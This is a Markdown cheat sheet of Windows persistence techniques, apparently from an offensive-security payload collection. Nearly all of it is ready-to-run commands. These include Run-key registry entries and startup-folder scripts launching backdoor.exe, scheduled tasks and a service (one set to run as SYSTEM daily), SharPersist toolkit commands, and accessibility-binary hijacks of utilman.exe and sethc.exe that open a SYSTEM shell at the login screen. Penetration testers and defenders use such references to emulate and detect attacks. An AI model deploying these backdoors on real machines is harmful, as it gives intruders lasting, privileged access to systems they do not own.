# Windows - Persistence

## Summary

* [Tools](#tools)
* [Userland](#userland)
    * [Registry](#registry)
    * [Startup](#startup)
    * [Scheduled Task](#scheduled-task)
* [Elevated](#elevated)
    * [HKLM](#hklm)
    * [Services](#services)
    * [Scheduled Task](#scheduled-task)
    * [RDP Backdoor](#rdp-backdoor)
* [References](#references)


## Tools

- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)

## Userland

### Registry

Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.

```powershell
Value name:  Backdoor
Value data:  C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```

Using SharPersist

```powershell
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
```

### Startup

Create a batch script in the user startup folder.

```powershell
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```

Using SharPersist

```powershell
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
```

### Scheduled Task

```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```

Using SharPersist

```powershell
# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
```

## Windows Service

Using SharPersist

```powershell
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
```

## Elevated

### HKLM

Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.

```powershell
Value name:  Backdoor
Value data:  C:\Windows\Temp\backdoor.exe
```

### Services

Create a service that will start automatically or on-demand.

```powershell
PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here."
```

### Scheduled Tasks

Scheduled Task to run as SYSTEM, everyday at 9am.

```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```

### RDP Backdoor

#### utilman.exe

At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.

```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
```

#### sethc.exe
 
Hit F5 a bunch of times when you are at the RDP login screen.

```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
```


## References

* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo)